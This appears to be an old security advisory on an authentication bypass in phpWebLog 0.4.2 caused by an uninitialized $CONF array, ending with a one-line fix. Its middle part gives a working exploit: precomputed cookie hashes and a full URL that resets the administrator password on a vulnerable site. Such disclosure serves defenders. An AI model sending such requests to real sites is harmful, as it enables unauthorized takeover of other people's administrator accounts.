COMMAND

    phpWebLog

SYSTEMS AFFECTED

    phpWebLog 0.4.2 ( others? )

PROBLEM

    Joao Gouveia aka Tharbad found following.  Although this  software
    is still in beta stage, there are many websites using it, so  this
    is a relevant issue.

    In common.inc.php, $CONF is not properly initialized as an  array,
    thus allowing users to alter the contents in it, wich can leed  to
    bypass administrator authentication.

    Let's try to show  this by parts, hope  it's clear enought.   snip
    of common.inc.php:

        /*== read in configuration data ==*/
        $sql    = "SELECT * FROM T_Config";
        $result = @mysql_query($sql,$db);
        $nrows  = mysql_num_rows($result);
        
        for ($i=0;$i<$nrows;$i++) {
                $A      = mysql_fetch_array($result);
                $CONF[$A["Name"]] = $A["Value"];
        }

    $CONF is  not being  properly inicialized  as an  array, so, if we
    fill  $CONF  with  user-submited  data,  all the array values will
    revert to  the first  character of  the last  position.   The last
    position  is  "language",  so,  if  our  language  is  set  to  be
    "english" all values of $CONF will revert to 'e'.

    snip of auth.inc.php:

        } elseif (!F_isAdmin()) {
                include("../include/header.inc.php");
                if (!empty($warn)) {
                        F_logAccess("Failed login");
                        F_notice("Invalid password. Try again.");
                }
        (...)
        (admin authenticated)

    snip of common.inc.php:

        function F_isAdmin() {
                global  $HTTP_COOKIE_VARS,$CONF;
                $name   = md5($CONF["SiteKey"] . "_admin");
                #echo $HTTP_COOKIE_VARS[$name];
                #echo crypt("admin",$CONF["SiteKey"]);
                return ($HTTP_COOKIE_VARS[$name]==md5(rot13($CONF["SiteKey"])) ? 1 :
        0);
        }

    As we can se here,  authentication is based on matching  data with
    $CONF values, so we will do:

        calculate md5() of "<first char of language>_admin".
        Calculate md5(rot13("<first char of language>"))

    snip of submit.php:

        case "config-extend":
                $tmp    = urlencode("Changes Saved.");
                if (!empty($Passwd) || !empty($Passwd2)) {
                        if ($HTTP_POST_VARS["Passwd"]==$HTTP_POST_VARS["Passwd2"]) {
                                $sql    = "UPDATE T_Config set ";
                                $sql    .= "Value = '" .
        md5($HTTP_POST_VARS["Passwd"]) . "' ";
                                $sql    .= "WHERE Name = 'Passwd'";
                                $RET    = @mysql_query($sql,$db);
        (...)
        (admin password changed)

    With the  calculations obtained  above, we'll  submit for  example
    the url ( based on english configuration ):

        http://phpweblog.vuln.site/submit.php?CONF=anything&HTTP_COOKIE_VARS[7f15a2e7f0a543eacb3efbd098ced7f2]=4b43b0aee35624cd95b910189b3dc231&what=config-extend&HTTP_POST_VARS[Passwd]=mypass&HTTP_POST_VARS[Passwd2]=mypass&Passwd=mypass&Passwd2=mypass

    There will be a bounch of php errors.  Just ignore them, go to the
    admin area and put in your new password.

    Assigning values to  HTTP_*_VARS like in  the above example,  will
    only  work  in  PHP  versions  below  4.0  rc1 Still, any user can
    submit this  same values  using other  methods, achiving  the same
    results.

    Of  course,  all  of  this  is  suposing that the administrator(s)
    changed  the  SiteKey  value,  whitch  is  by default "phpWebLog".
    Obvious this value _should_ be changed.  If not, just don't  issue
    the $CONF value, and  calculate the HTTP_COOKIE_VARS values  based
    on "phpWebLog" instead of 'e'.

SOLUTION

    In common.inc.php, before:

        for ($i=0;$i<$nrows;$i++) {
                $A      = mysql_fetch_array($result);
                $CONF[$A["Name"]] = $A["Value"];
        }

    put:

        $CONF = array();

    Always remember to change your default "SiteKey".